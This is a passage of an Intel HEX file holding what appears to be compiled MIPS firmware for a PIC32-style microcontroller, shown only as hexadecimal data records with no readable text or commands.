:10c17000ffff42301c00c32721206000212840001f
:10c18000a61c410f000000000b0040100000000042
:10c190001000c2973000c38f211062001c00c393af
:10c1a000000043a01000c297010042241000c2a763
:10c1b00073f0400b00000000040002247c8082af7a
:10c1c00021100000adf0400b000000001000c397ec
:10c1d0001200c2972b106200e4ff40140000000020
:10c1e000feef400b000000001c00c293211840002d
:10c1f0001700c293271002002c00621400000000f8
:10c200001500c3931600c2932b106200100040105b
:10c21000000000005881828f212040001d1c410f2a
:10c22000000000001500c293010043241500c3a3c1
:10c230003000c38f21106200000042902120400096
:10c240004f1c410f00000000abf0400b000000004d
:10c250006481828fffff42301c00c32721206000d1
:10c2600021284000a61c410f000000000a004010d9
:10c27000000000001000c297010043241000c3a773
:10c280003000c38f211062001c00c393000043a044
:10c29000abf0400b00000000040002247c8082af61
:10c2a00021100000adf0400b00000000feef400b3d
:10c2b0000000000021e8c0032400bf8f2000be8fd3
:10c2c0002800bd270800e0030000000000e85d41f1
:10c2d00000701b4002601a40e0ffbd271c00bbaf8e
:10c2e00000601b401400baaf1800bbaf44781b7c41
:10c2f00000187b3700609b400400a3af0000a2af92
:10c300001400a38f0f0063300300601400000000ce
:10c310000c00beaf0800a4af0000000021f0a00395
:10c3200088bf023c4000033c341043ac88bf033c50
:10c33000206162944408027c206162a43080828f74
:10c340000300401000000000308080af3c8280afce
:10c350003c82828f010042243c8282afa080829383
:10c360000900432ca80060100000000080180200a3
:10c37000049d023c88c34224211062000000428ccc
:10c38000080040000000000014c6039dacc3039ddc
:10c39000e4c3039d38c4039d90c4039dc8c4039d9a
:10c3a00010c5039dd0c5039d14c6039d88bf033ce3
:10c3b0002061629401000424444a827c206162a4ca
:10c3c00088bf033ca0616294444a027ca06162a4dd
:10c3d000008180af02000224a08082a386f1400b7e
:10c3e000000000000081828f01004324008183afa0
:10c3f000b480838f2b104300030040100000000026
:10c4000086f1400b00000000b880828f05004010cc
:10c410000000000088bf033c20616294444a027c13
:10c42000206162a4008180af03000224a08082a367
:10c4300086f1400b000000000081828f0100432440
:10c44000008183afb880838f2b104300030040101e
:10c450000000000086f1400b000000001880828f71
:10c46000000043902a000224050062100000000032
:10c4700004000224a08082a386f1400b000000008b
:10c4800008000224a08082a386f1400b0000000077
:10c4900088bf033c2061629401000424444a827cea
:10c4a000206162a488bf033ca0616294444a027c7c
:10c4b000a06162a4008180af05000224a08082a355
:10c4c00086f1400b000000000081828f01004324b0
:10c4d000008183afa880838f2b104300030040109e
:10c4e0000000000086f1400b0000000088bf033c04
:10c4f00020616294444a027c206162a4008180af82
:10c5000006000224a08082a386f1400b00000000f8
:10c510001880828f000043902a00022406006214d3
:10c520000000000007000224a08082a3008180afe9
:10c5300086f1400b000000001880828f00004290be
:10c5400005004010000000000081838fb080828fc2
:10c5500009006210000000001880828f00004290e5
:10c5600016004014000000000081838fac80828f91
:10c57000120062140000000088bf033c2061629436
:10c5800001000424444a827c206162a488bf033ce9
:10c59000a0616294444a027ca06162a41880828fe8
:10c5a00001004224188082af008180af0500022480
:10c5b000a08082a386f1400b000000000081828fe2
:10c5c00001004224008182af86f1400b0000000090
:10c5d0000081828f01004324008183afc480838f58
:10c5e0002b104300030040100000000086f1400bb8
:10c5f00000000000008180af08000224a08082a318
:10c6000086f1400b000000000000000086f1400ba6
:10c61000000000000000000021e8c0031400a28f09
:10c620000f00423005004014000000000c00be8fd7
:10c630000800a48f0400a38f0000a28f0000000058
:10c6400000606041c00000001c00ba8f1800bb8f62
:10c6500000709a401400ba8f2000bd2702609a40f3
:10c6600000e8dd4100609b401800004200e85d41a9
:10c6700000701b4002601a40d8ffbd2700601b40bd
:10c680002000baaf2400bbaf44781b7c001c7b3772
:10c6900000609b400400a3af0000a2af2000a38f66
:10c6a0000f00633003006014000000000c00beaff8
:10c6b0000800a4af00000000121000001400a2af98
:10c6c000101800001000a3af21f0a00388bf023ca7
:10c6d00000100324341043ac0c8283932a000224fc
:10c6e00024006214000000009080828f1900401422
:10c6f000000000002482828fffff4324248283af46
:10c70000140040140000000088bf023c0010032405
:10c71000641043ac88bf023c681040ac80bf023c50
:10c72000000a40ac88bf033c2061629401000424ed
:10c730000400827c206162a4048180af88bf033c36
:10c74000a0616294444a027ca06162a4c7f2400bdb
:10c75000000000002082828f188282af1882828fb0
:10c7600001004324188283af000042900c8282a310
:10c77000048180af0481828f01004224048182af52
:10c7800084808293040043280900601000000000a8
:10c79000020043285e006010000000000100032436
:10c7a0000800431000000000c7f2400b000000002a
:10c7b00004000324ad00431000000000c7f2400b4a
:10c7c000000000000d828293211840000481828fb6
:10c7d0001d0062140000000000a0023cdc56422450
:10c7e000cc00428c0d0040140000000000a0023c70
:10c7f000dc564224c400428c1300401000000000ac
:10c800000c8282932118400000a0023cdc56422496
:10c81000c800428c0c0062100000000088bf023c7f
:10c82000a061428c000242300100422cff004430e3
:10c8300088bf033ca0616294444a827ca06162a4e8
:10c8400036f2400b0000000000a0023cdc564224ff
:10c85000c400428c13004010000000000481838f4c
:10c860002c82828f1b006200f40140001010000037
:10c87000190040100000000088bf023ca061428cfb
:10c88000000242300100422cff00443088bf033ccc
:10c89000a0616294444a827ca06162a436f2400b9b
:10c8a0000000000000a0023cdc564224c800428c7c
:10c8b000ff0043300c82829326106200ff0042305a
:10c8c00001004230ff00443088bf033ca061629405
:10c8d000444a827ca06162a40481838f2c82828f6f
:10c8e00009006214000000001882828f01004324b6
:10c8f000188283af000042900c8282a3048180af33
:10c90000c7f2400b00000000c7f2400b000000001f
:10c910000c8282932118400000a0023cdc56422485
:10c92000c800428c28006210000000000481838f40
:10c93000148282931b006200f4014000101000007a
:10c940000a0040140000000088bf023ca061428c35
:10c95000000242300100422cff00443088bf033cfb
:10c96000a0616294444a827ca06162a40481828fa7
:10c970002c82848f148283931b008300f401600057
:10c980001018000012200000148283931800830006
:10c99000121800001b004300f4016000101000009a
:10c9a00030004014000000001882828f01004324f0
:10c9b000188283af000042900c8282a3048180af72
:10c9c000c7f2400b000000000481838f0d82829328
:10c9d0001b006200f4014000101000000a00401427
:10c9e0000000000088bf023ca061428c000242307f
:10c9f0000100422cff00443088bf033ca0616294d8
:10ca0000444a827ca06162a40481828f2c82848f3c
:10ca10000d8283931b008300f40160001018000056
:10ca2000122000000d82839318008300121800006a
:10ca30001b004300f40160001010000009004014c6
:10ca4000000000001882828f01004324188283af07
:10ca5000000042900c8282a3048180afc7f2400b99
:10ca600000000000c7f2400b000000000481838f2b
:10ca70000d8282931b006200f40140001010000040
:10ca80000c0040140000000088bf023ca061428cf2
:10ca9000000242300100422cff00443088bf033cba
:10caa000a0616294444a827ca06162a4baf2400b05
:10cab0000000000000a0023cdc564224c800428c6a
:10cac000ff0043300c82829326106200ff00423048
:10cad00001004230ff00443088bf033ca0616294f3
:10cae000444a827ca06162a40481838f2c82828f5d
:10caf00009006214000000001882828f01004324a4
:10cb0000188283af000042900c8282a3048180af20
:10cb1000c6f2400b000000000000000021e8c00346
:10cb20001400a28f130040001000a38f11006000ba
:10cb30002000a28f0f0042300500401400000000ca
:10cb40000c00be8f0800a48f0400a38f0000a28fea
:10cb5000000000002400bb8f2000ba8f2800bd27f2
:10cb600002609a4000e8dd4100609b4018000042ee
:10cb700000e85d4100701b4002601a4080ffbd2745
:10cb80007c00bbaf00601b407400baaf7800bbaf45
:10cb900044781b7c00187b3700609b402000a3afcb
:10cba0001c00a2af7400a38f0f0063301300601449
:10cbb000000000006400bfaf6000beaf5c00b9af12
:10cbc0005800b8af5400b0af5000afaf4c00aeaf9c
:10cbd0004800adaf4400acaf4000abaf3c00aaafe3
:10cbe0003800a9af3400a8af3000a7af2c00a6af23
:10cbf0002800a5af2400a4af1800a1af00000000da
:10cc0000121000006c00a2af101800006800a3af63
:10cc100021f0a0031000c0af88bf033ca060629465
:10cc2000010004244408827ca06062a488bf033c05
:10cc3000a0606294010004248410827ca06062a43d
:10cc400088bf023c0100033c341043ac94808293c3
:10cc50000100422cff004230948082a39880828f92
:10cc60000300401000000000d2f4400b0000000060
:10cc70003882828f0800401400000000fc8080afe2
:10cc8000ffff0224348082a3140d410f0000000036
:10cc9000d2f4400b00000000448282930700401051
:10cca0000000000044828293ffff4224ff004230d4
:10ccb000448282a3d2f4400b0000000088bf033cf2
:10ccc000a06062944408027ca06062a400a0023cc0
:10ccd000dc564224a0004290040043280900601062
:10cce00000000000020043289e00601000000000c9
:10ccf000010003240800431000000000baf4400bb8
:10cd0000000000000400032427014310000000007d
:10cd1000baf4400b0000000088bf023cd060428c97
:10cd20000002427cff0042302014027c088182a372
:10cd3000fc80828f090040140000000000a0023c2b
:10cd4000dc564224cc00428c04004010000000005d
:10cd5000fc80828f01004224fc8082af00a0023c54
:10cd6000dc564224cc00428c280040100000000019
:10cd7000fc80828f2500401000000000fc80828f24
:10cd80000100423021004010000000000881838330
:10cd9000348082831d0062140000000088bf033cc1
:10cda000e0606294c45a027ce06062a4f880828fe2
:10cdb0000800401000000000fc8080afffff02244c
:10cdc000348082a3140d410f00000000d2f4400b08
:10cdd0000000000001000224f88082af1882838fd7
:10cde000fc80828f4210020023100200211062009a
:10cdf000188282af01000224fc8082af80bf023c17
:10ce0000100e40acd2f4400b0000000000a0023c29
:10ce1000dc564224c400428c1f0040100000000079
:10ce2000fc80828f010042301b0040100000000097
:10ce300034808383088182830b0062140000000029
:10ce40001882828f01004324188283af00a0033c24
:10ce5000dc566324c800638cff006330000043a0ed
:10ce6000a4f3400b000000001882828f01004324cd
:10ce7000188283af00a0033cdc566324c800638c97
:10ce8000ff00633001006338ff006330000043a0ff
:10ce900080bf023c100e40ac00a0023cdc56422495
:10cea000cc00428c140040140000000000a0023ca2
:10ceb000dc564224c400428c0f00401400000000e5
:10cec0001882828f01004324188283af00a0033ca4
:10ced000dc566324c800638cff00643008818383c0
:10cee000ff00633026188300ff006330000043a07a
:10cef00080bf023c100e40ac00a0023cdc56422435
:10cf0000cc00428c1300401000000000fc80828f97
:10cf1000010042300f004010000000001882828f94
:10cf200001004324188283af08818383212060009d
:10cf300000a0033cdc566324c800638c26188300e1
:10cf40000100632cff006330000043a080bf023c5f
:10cf5000100e40ac08818283348082a3baf4400b67
:10cf60000000000000a0023cdc5642249c00438ce0
:10cf700000a0023cdc564224a400448c00a0023ce9
:10cf8000dc564224a400458ccccc023ccdcc4234af
:10cf90001900a2001010000082100200231082006d
:10cfa00018006200121000001400c2af0100042437
:10cfb000ff0d410f000000004ff4400b0000000087
:10cfc000010002241000c2affff3400b000000007c
:10cfd00021200000ff0d410f00000000211840003b
:10cfe0001400c28f2b10430004004010000000000a
:10cff0001000c0af04f4400b0000000088bf023cea
:10d00000d060428c00014230f1ff4014000000006b
:10d0100011f4400b0000000021200000ff0d410f23
:10d0200000000000211840001400c28f2b104300a4
:10d0300004004010000000001000c0af16f4400bc8
:10d040000000000088bf023cd060428c00014230ea
:10d05000f1ff40100000000023f4400b000000002e
:10d0600021200000ff0d410f0000000021184000aa
:10d070001400c28f2b104300040040100000000079
:10d080001000c0af28f4400b0000000088bf023c35
:10d09000d060428c00014230f1ff401400000000db
:10d0a00035f4400b0000000021200000ff0d410f6f
:10d0b00000000000211840001400c28f2b10430014
:10d0c00004004010000000001000c0af3af4400b14
:10d0d0000000000088bf023cd060428c000142305a
:10d0e000f1ff40100000000001000424ff0d410f7b
:10d0f000000000004af4400b000000002120000066
:10d10000ff0d410f00000000211840001400c28fe5
:10d110002b10430004004010000000001000c0afbe
:10d120004ff4400b0000000088bf023cd060428cee
:10d1300000014230f1ff40140000000021200000f7
:10d14000ff0d410f00000000211840001400c28fa5
:10d150002b10620004004010000000001000c28f7d
:10d1600097ff4010000000001000c28f0c0040101c
:10d17000000000001882828f2180400001000226fa
:10d18000188282af01000424ff0d410f000000004f
:10d19000ff004230000002a2baf4400b0000000081
:10d1a000baf4400b0000000000a0023cdc56422410
:10d1b0009c00438ccccc023ccdcc423419006200a4
:10d1c00010100000c2100200c01002001400c2af14
:10d1d00080bf023c100e40ac7ff4400b000000000a
:10d1e00088bf023cd060428c0001423003004010f6
:10d1f0000000000085f4400b0000000080bf023cee
:10d20000100e438c1400c28f2b106200f4ff4014e8
:10d210000000000088bf023cd060428c0002427ccb
:10d22000ff0042302118400000a0023cdc5642249e
:10d23000c800428cff00423026106200ff004330dd
:10d2400008818283ff00423026106200ff004230d6
:10d250002014027c088182a34082828f1900401032
:10d260000000000088bf023cd060428c00014230c8
:10d27000140040100000000080bf023c100e40acc3
:10d280000000000088bf023cd060428c00014230a8
:10d29000fcff40140000000021200000ff0d410fa2
:10d2a000000000001400c2af4082828f1400c38fc0
:10d2b0002b10620003004010000000000100022457
:10d2c000f48082af1882828f01004324188283afda
:10d2d00008818383ff006330000043a080bf023ccd
:10d2e000100e40ac00000000fc80828f0100422440
:10d2f000fc8082af88bf033ca06062948410027cf3
:10d30000a06062a4fc80838f3882828f0e0062143a
:10d3100000000000fc8080affc80828f388282afea
:10d32000ffff0224348082a3f88080af88bf033cd3
:10d33000e060629401000424c45a827ce06062a42c
:10d34000140d410f0000000021e8c0036c00a28f03
:10d35000130040006800a38f110060007400a28fca
:10d360000f00423015004014000000006400bf8f21
:10d370006000be8f5c00b98f5800b88f5400b08f2a
:10d380005000af8f4c00ae8f4800ad8f4400ac8f83
:10d390004000ab8f3c00aa8f3800a98f3400a88fc3
:10d3a0003000a78f2c00a68f2800a58f2400a48f03
:10d3b0002000a38f1c00a28f1800a18f0000000086
:10d3c00000606041c00000007c00ba8f7800bb8f15
:10d3d00000709a407400ba8f8000bd2702609a40a6
:10d3e00000e8dd4100609b4018000042e8ffbd27d7
:10d3f0001400bfaf1000beaf21f0a00321108000c9
:10d400001800c2a31800c2933400401000000000ae
:10d410001800c2930200032418004310000000000b
:10d4200003004328060060100000000001000324f0
:10d430000b0043100000000034f5400b000000001a
:10d440000300032414004310000000000400032420
:10d45000180043100000000034f5400b00000000ed
:10d4600088bf033ca0606294010004244408827ccd
:10d47000a06062a437f5400b0000000088bf033ca9
:10d48000a0606294010004248410827ca06062a4e5
:10d4900037f5400b0000000088bf033ca060629499
:10d4a00001000424c418827ca06062a437f5400bfc
:10d4b0000000000088bf033c206162940100042446
:10d4c0004429827c206162a437f5400b00000000f3
:10d4d0002110000052f6400b0000000088bf023c03
:10d4e000d060428c4001427cff0042302118400055
:10d4f00000a0023cdc564224980043ac48f5400ba7
:10d50000000000004715410f00000000040040101b
:10d51000000000002110000052f6400b0000000047
:10d5200088bf023cd060428c4001427cff00423008
:10d530002118400000a0023cdc5642249800428c96
:10d540000b0062140000000088bf023cd060428cd7
:10d550008001427cff0042302118400000a0023cc4
:10d56000dc5642249800428ce6ff62100000000066
:10d5700001000424ff0d410f0000000088bf023ca1
:10d58000d060428c4001427cff00423021184000b4
:10d5900000a0023cdc5642249800428c0b00621032
:10d5a00000000000d480828f01004324d48083af28
:10d5b00000a0033cdc24632421104300300003243a
:10d5c000000043a084f5400b00000000d480828f4f
:10d5d00001004324d48083af00a0033cdc246324f7
:10d5e0002110430031000324000043a084f5400bc8
:10d5f000000000004715410f00000000040040102b
:10d60000000000002110000052f6400b0000000056
:10d6100088bf023cd060428c4001427cff00423017
:10d620002118400000a0023cdc5642249800428ca5
:10d63000f0ff62140000000088bf023cd060428c02
:10d640008001427cff0042302118400000a0023cd3
:10d65000dc5642249800428ce6ff62140000000071
:10d6600001000424ff0d410f0000000021184000bc
:10d6700000a0023cdc564224900043aca8f5400bcd
:10d68000000000004715410f00000000040040109a
:10d69000000000002110000052f6400b00000000c6
:10d6a00088bf023cd060428c4001427cff00423087
:10d6b0002118400000a0023cdc5642249800428c15
:10d6c0000b0062140000000088bf023cd060428c56
:10d6d0008001427cff0042302118400000a0023c43
:10d6e000dc5642249800428ce6ff621000000000e5
:10d6f00001000424ff0d410f00000000211840002c
:10d7000000a0023cdc564224940043ac88bf023c9b
:10d71000d060428c4001427cff0042302118400022
:10d7200000a0023cdc5642249800428c0b006210a0
:10d7300000000000d480828f01004324d48083af96
:10d7400000a0033cdc2463242110430030000324a8
:10d75000000043a0e8f5400b00000000d480828f59
:10d7600001004324d48083af00a0033cdc24632465
:10d770002110430031000324000043a0e8f5400bd2
:10d78000000000004715410f000000000400401099
:10d79000000000002110000052f6400b00000000c5
:10d7a00088bf023cd060428c4001427cff00423086
:10d7b0002118400000a0023cdc5642249800428c14
:10d7c000f0ff62140000000088bf023cd060428c71
:10d7d0008001427cff0042302118400000a0023c42
:10d7e000dc5642249800428ce6ff621400000000e0
:10d7f0002120000058f6400f00000000d8808393dd
:10d80000010002241d0062140000000000a0023c80
:10d81000dc5642249000428c059d033c485264240f
:10d82000212840008513410f0000000000a0023ca9
:10d83000dc5642249400428c059d033c68526424cb
:10d84000212840008513410f0000000000a0023c89
:10d85000dc5642249000438c00a0023cdc5642245b
:10d860009400428c21106200059d033c8c5264247c
:10d87000212840008513410f000000001800c293ca
:10d8800030004010000000001800c2930200032482
:10d89000170043100000000003004328060060103a
:10d8a00000000000010003240b00431000000000f2
:10d8b0004ef6400b0000000003000324120043104a
:10d8c00000000000040003241500431000000000c5
:10d8d0004ef6400b0000000088bf033ca06062943d
:10d8e0004408027ca06062a451f6400b00000000d6
:10d8f00088bf033ca06062948410027ca06062a494
:10d9000051f6400b0000000088bf033ca060629409
:10d91000c418027ca06062a451f6400b0000000015
:10d9200088bf033c206162944429027c206162a488
:10d9300051f6400b000000002110000052f6400b91
:10d94000000000000100022421e8c0031400bf8f82
:10d950001000be8f1800bd270800e0030000000083
:10d96000d8ffbd272400bfaf2000beaf1c00b0af62
:10d9700021f0a003211080002800c2a32800c29338
:10d9800044004010000000002800c293020003245d
:10d990001c00431000000000030043280600601034
:10d9a00000000000010003240b00431000000000f1
:10d9b000a2f6400b00000000030003241c004310eb
:10d9c00000000000040003242400431000000000b5
:10d9d000a2f6400b0000000088bf023ca060428c11
:10d9e000020042300100422cff00443088bf033c5b
:10d9f000a06062944408827ca06062a4a5f6400bfb
:10da00000000000088bf023ca060428c040042304d
:10da10000100422cff00443088bf033ca0606294a8
:10da20008410827ca06062a4a5f6400b0000000078
:10da300088bf023ca060428c080042300100422caa
:10da4000ff00443088bf033ca0606294c418827c0d
:10da5000a06062a4a5f6400b0000000088bf023c55
:10da60002061428c200042300100422cff004430f3
:10da700088bf033c206162944429827c206162a4b7
:10da8000a5f6400b000000002110000019f7400b24
:10da90000000000000a0023cdc5642249000438cb1
:10daa00000a0023cdc5642249400428c211062000b
:10dab000401002001000c2afd480828f218040004d
:10dac00001000226d48082af2120000020f7400f01
:10dad000000000002118400000a0023cdc24422489
:10dae00021100202000043a0d480908f1000c48f48
:10daf00020f7400f000000002118400000a0023c69
:10db0000dc24422421100202000043a0d480838f31
:10db100000a0023cdc24422421106200000042905c
:10db20000700401400000000000000002800c2931d
:10db30004b00401000000000d5f6400b0000000034
:10db4000d480828f01004224d48082afbaf6400b89
:10db5000000000002800c293020003241c004310b0
:10db600000000000030043280600601000000000d1
:10db7000010003240b0043100000000015f7400bc8
:10db800000000000030003241c00431000000000fc
:10db900004000324240043100000000015f7400b8c
:10dba0000000000088bf023ca060428c02004230ae
:10dbb0000100422cff00443088bf033ca060629407
:10dbc0004408827ca06062a418f7400b00000000ab
:10dbd00088bf023ca060428c040042300100422c0d
:10dbe000ff00443088bf033ca06062948410827cb4
:10dbf000a06062a418f7400b0000000088bf023c40
:10dc0000a060428c080042300100422cff004430ea
:10dc100088bf033ca0606294c418827ca06062a4a8
:10dc200018f7400b0000000088bf023c2061428cc6
:10dc3000200042300100422cff00443088bf033cea
:10dc4000206162944429827c206162a418f7400b11
:10dc5000000000002110000019f7400b0000000038
:10dc60000100022421e8c0032400bf8f2000be8fe2
:10dc70001c00b08f2800bd270800e0030000000052
:10dc8000e0ffbd271c00bfaf1800beaf21f0a0030e
:10dc90002000c4af01000424ff0d410f000000006c
:10dca00040f7400b0000000021200000ff0d410f55
:10dcb000000000001400c2af2000c28f0900401015
:10dcc000000000001400c38f2000c28f2b104300ff
:10dcd0000400401000000000211000007af7400b03
:10dce000000000004715410f000000000400401034
:10dcf00000000000211000007af7400b0000000037
:10dd000088bf023cd060428c4001427cff00423020
:10dd10002118400000a0023cdc5642249800428cae
:10dd20000b0062140000000088bf023cd060428cef
:10dd30008001427cff0042302118400000a0023cdc
:10dd4000dc5642249800428cd7ff6210000000008d
:10dd500088bf023cd060428c4001427cff004230d0
:10dd60002118400000a0023cdc5642249800428c5e
:10dd70000500621000000000300002241000c2a361
:10dd800064f7400b00000000310002241000c2a321
:10dd90000000000088bf023cd060428c4001427c01
:10dda000ff0042302118400000a0023cdc56422413
:10ddb0009800428cf7ff62140000000088bf023c0c
:10ddc000d060428c8001427cff004230211840002c
:10ddd00000a0023cdc5642249800428cedff621405
:10dde000000000001000c29321e8c0031c00bf8f98
:10ddf0001800be8f2000bd270800e00300000000cf
:10de0000e8ffbd271400bfaf1000beaf21f0a00394
:10de10001800c4af94f7400b000000001800c28f38
:10de20000000429021204000aff7400f00000000aa
:10de300004004014000000000100022499f7400b88
:10de4000000000001800c28f010042241800c2af79
:10de50001800c28f00004290f0ff40140000000044
:10de60002110000021e8c0031400bf8f1000be8ff6
:10de70001800bd270800e00300000000f8ffbd27e0
:10de80000400beaf21f0a0030800c4af8c80828fd5
:10de9000040040100000000001000224aaf7400b1b
:10dea000000000000100022421e8c0030400be8f2e
:10deb0000800bd270800e00300000000e8ffbd27c0
:10dec0001400bfaf1000beaf21f0a00321108000ee
:10ded0001800c2a300a0023cdc5642249000428cf1
:10dee000060040100000000000a0023cdc56422466
:10def0009400428c04004014000000002110000037
:10df00000bf8400b0000000001000424ff0d410f3e
:10df1000000000001800c393300002240c006214bb
:10df20000000000000a0023cdc5642249800428c15
:10df30000100422cff00443088bf033ce060629443
:10df4000c418827ce06062a4ddf7400b0000000092
:10df500000a0023cdc5642249800428c0100422c76
:10df6000ff00443088bf033ce06062948410827cf0
:10df7000e06062a40000000021200000ff0d410fbe
:10df8000000000002118400000a0023cdc564224a2
:10df90009000428c2b106200f7ff4014000000003c
:10dfa00000a0023cdc5642249800428cff00423024
:10dfb00001004230ff00443088bf033ce0606294bf
:10dfc000c418827ce06062a400a0023cdc564224bb
:10dfd0009800428cff00423001004230ff00443084
:10dfe00088bf033ce06062948410827ce06062a49d
:10dff00001000424ff0d410f00000000000000009c
:10e0000021200000ff0d410f0000000021184000fa
:10e0100000a0023cdc5642249400428c2b1062008b
:10e02000f7ff4014000000000100022421e8c003b3
:10e030001400bf8f1000be8f1800bd270800e0033a
:10e0400000000000e8ffbd271400bfaf1000beaf06
:10e0500021f0a00393f8400f0000000088bf033cac
:10e06000e0606294c418027ce06062a488bf033c54
:10e07000e0606294010004248410827ce06062a469
:10e0800088bf023cd060428c200042300600401421
:10e090000000000088bf023cd060428c400042304b
:10e0a00004004014000000002110000044f8400b60
:10e0b0000000000088bf033ce0606294010004247b
:10e0c000c418827ce06062a488bf033ce060629474
:10e0d0008410027ce06062a488bf023cd060428c65
:10e0e00020004230060040100000000088bf023cc3
:10e0f000d060428c4000423004004010000000001c
:10e100002110000044f8400b000000000100022430
:10e1100021e8c0031400bf8f1000be8f1800bd2778
:10e120000800e00300000000e0ffbd271c00bfafb7
:10e130001800beaf1400b0af21f0a0032000c4afa0
:10e140002400c5af2110c0002800c2a32000d08f3a
:10e15000010002262000c2af2800c2934210020034
:10e16000ff0042302400c48f2128000021304000ed
:10e17000ffbc400f00000000000002a22800c29374
:10e180002000c48f2400c58f21304000494a410f30
:10e19000000000002800c2932000c38f21106200fd
:10e1a0002000c2af2800c29342100200ff0042309c
:10e1b0002400c38f211862002800c293421002007d
:10e1c000ff00423021206000010005242130400082
:10e1d000ffbc400f00000000211840002000c28f4b
:10e1e000000043a021e8c0031c00bf8f1800be8fb1
:10e1f0001400b08f2000bd270800e00300000000dd
:10e20000f8ffbd270400beaf21f0a00388bf033c88
:10e21000c060629401000424c418827cc06062a4bf
:10e2200088bf033cc0606294010004248410827c97
:10e23000c06062a48c8080af21e8c0030400be8f60
:10e240000800bd270800e00300000000f8ffbd271c
:10e250000400beaf21f0a00388bf033cc0606294fd
:10e26000c418027cc06062a488bf033cc060629492
:10e270008410027cc06062a488bf023cd060428ce3
:10e280004001427cff00443088bf033ce060629460
:10e29000c418827ce06062a488bf023cd060428cdb
:10e2a0008001427cff00443088bf033ce060629400
:10e2b0008410827ce06062a4010002248c8082af22
:10e2c00021e8c0030400be8f0800bd270800e0035a
:10e2d00000000000f8ffbd270400beaf21f0a0033e
:10e2e0000800c4af0800c28fff0042300100423076
:10e2f000ff00443088bf033ce061628c8473827c01
:10e30000e06162ac0800c28fff0042300100423081
:10e31000ff00443088bf033ce061628cc47b827c98
:10e32000e06162ac21e8c0030400be8f0800bd2795
:10e330000800e00300000000d0ffbd272c00bfafa5
:10e340002800beaf21f0a0033000c4af3400c5af39
:10e350003800c6af3c00c7af00a0023cdc1c442420
:10e360003000c58fe7b8400f000000002000c2afaa
:10e370002000c28f040040140000000021100000a3
:10e38000fcf8400b0000000000a0023cdc564224d8
:10e39000cc00428c090040100000000000a0023cac
:10e3a000dc1c442400a0023cdc1c45242000c68f59
:10e3b0006dbb400f000000002000c2af3c00c28fc8
:10e3c0001000a2af4000c28f1400a2af4400c28f61
:10e3d0001800a2af00a0023cdc1c44242000c58f22
:10e3e0003400c68f3800c78f02f9400f00000000cc
:10e3f00021e8c0032c00bf8f2800be8f3000bd274e
:10e400000800e00300000000e0ffbd271c00bfafd4
:10e410001800beaf21f0a0032000c4af2400c5af98
:10e420002800c6af2c00c7af00a0023cdc1c44246f
:10e430002000c58f2400c68f494a410f000000000c
:10e4400000a0023cdc1c43242400c28f2110620087
:10e450002a000324000043a02800c28f42180200b3
:10e460002c00c28f401002003400c48f1000a4aff3
:10e470003800c48f1400a4af2120600000a0033c2a
:10e48000dc1c6524213040003000c78f2cf9400f80
:10e49000000000000100022421e8c0031c00bf8f1f
:10e4a0001800be8f2000bd270800e0030000000018
:10e4b000e8ffbd271400bfaf1000beaf21f0a003de
:10e4c0001800c4af1c00c5af2000c6af2400c7af02
:10e4d0001800c38fcccc023ccdcc42341900620072
:10e4e00010100000c2100200c01002001800c2afdd
:10e4f0001c00c28f000042900c8282a31c00c28fbd
:10e5000001004224188282af1c00c28f208282af99
:10e510002c00c28f248282af2000c28f2c8282af57
:10e520002400c28fff0042300d8282a32800c28fd8
:10e53000ff004230148282a302000224848082a35e
:10e54000e00c410f0000000088bf023c00100324d3
:10e55000641043ac88bf023c681040ac80bf023cf2
:10e56000000a40ac88bf033c606062940100042450
:10e570000421827c606062a488bf033c20616294b5
:10e58000444a027c206162a488bf033cd06062944c
:10e590000421027cd06062a488bf033c20616294a5
:10e5a0000400027c206162a480bf023c000a40acef
:10e5b00080bf023c100a40ac1800c28fffff43240a
:10e5c00080bf023c200a43ac80bf023c0080033481
:10e5d000080a43ac88bf023c1c000324c41043acaf
:10e5e00088bf023c18000324c81043ac88bf023c1b
:10e5f00000100324341043ac88bf023c00100324f5
:10e60000641043ac88bf023c00100324681043ac84
:10e6100021e8c0031400bf8f1000be8f1800bd2773
:10e620000800e00300000000b8fdbd274402bfafb2
:10e630004002beaf21f0a0034802c4af4c02c5aff8
:10e64000010002243400c2af3800c227212040005c
:10e6500030000524000206246551410f000000002f
:10e660003802c0a300a0023cdc5642249c00448c2b
:10e6700000a0023cdc564224a400458c00a0023cd1
:10e68000dc564224a800438c00a0023cdc56422405
:10e69000ac00428c00a0063cdc56c624b000c98cfd
:10e6a00000a0063cdc56c624c800c88c00a0063c6e
:10e6b000dc56c624bc00c6902138c00000a0063c31
:10e6c000dc56c6248c00c68c3800ca271000aaafbe
:10e6d0001400a9af1800a8af00a0083c995708255e
:10e6e0001c00a8af2000a7af2400a6af4c02c68f25
:10e6f0002800a6af010006242c00a6af2130600040
:10e7000021384000f5f9400f0000000021184000ba
:10e7100000a0023cdc564224b000428c040062108f
:10e720000000000021100000eff9400b0000000085
:10e730003000c0afdaf9400b000000003000c28f9b
:10e740003000c327211062000800439030000224eb
:10e7500002006210000000003400c0af3000c28f21
:10e76000010042243000c2af3800c22721204000ff
:10e77000a34a410f00000000211840003000c28f62
:10e780002b104300edff4014000000003400c28f46
:10e79000040040100000000021100000eff9400bc1
:10e7a000000000003800c2274802c48f2128400022
:10e7b0007f49410f000000000100022421e8c0034e
:10e7c0004402bf8f4002be8f4802bd270800e0030d
:10e7d00000000000c0ffbd273c00bfaf3800beaf47
:10e7e0003400b0af21f0a0034000c4af4400c5af77
:10e7f0004800c6af4c00c7af6000c38f6c00c28f2b
:10e800002800c3a32c00c2a31800c0af2000c0a3df
:10e810006800c28f050040100000000001000224c3
:10e820002100c2a30dfa400b0000000002000224e8
:10e830002100c2a32100c3935400c28f18006200bc
:10e840006400c28f1000a2af4000c48f4400c58f87
:10e8500000a0023cdc1c462412380000d4fa400f11
:10e86000000000000400401400000000211000001f
:10e87000bcfa400b000000009880828f040040101a
:10e880000000000021100000bcfa400b0000000056
:10e890006400c28f06004010000000000100042444
:10e8a000ff0d410f000000003cfa400b000000008b
:10e8b0003cfa400b000000006400c28f0c004010c6
:10e8c0000000000021200000ff0d410f00000000ab
:10e8d000211840006400c28f2b1043000400401038
:10e8e0000000000021100000bcfa400b00000000f6
:10e8f00088bf023ca061428c40004230eeff4010d5
:10e90000000000002100c3935400c28f1800620071
:10e910004800c38f4c00c28f2b104300ff004230d1
:10e92000211840005800c28f2610620000a0033c4e
:10e93000dc1c642400a0033cdc1c652412300000b5
:10e9400021384000c1fb400f0000000004004014cb
:10e950000000000021100000bcfa400b0000000085
:10e960002800c29345004010000000002000c0a312
